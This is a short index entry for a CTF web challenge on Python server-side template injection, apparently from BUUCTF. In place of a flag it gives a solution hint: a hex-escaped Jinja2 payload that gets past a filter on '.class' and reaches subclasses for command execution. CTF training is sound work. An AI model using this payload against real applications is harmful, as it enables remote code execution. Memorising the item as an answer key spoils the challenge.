[NewStarCTF 公开赛赛道]BabySSTI_Three
| ID： | 7185 |
|---|---|
| 标题： | [NewStarCTF 公开赛赛道]BabySSTI_Three |
| 描述： | PythonSSTI |
| 类型： | Web |
| 网站： | BUUCTF |
| 题目链接： | https://buuoj.cn/challenges#[NewStarCTF 公开赛赛道]BabySSTI_Three |
| 赛事： | NewStarCTF 公开赛赛道 |
| 年度： | None |
| Flag值： | {{''.class}}被过滤后使用十六进制编码绕过，构造payload如{{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f']'\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f'}}实现命令执行 |
| writeup： | https://blog.csdn.net/mochu7777777/article/details/127354492 |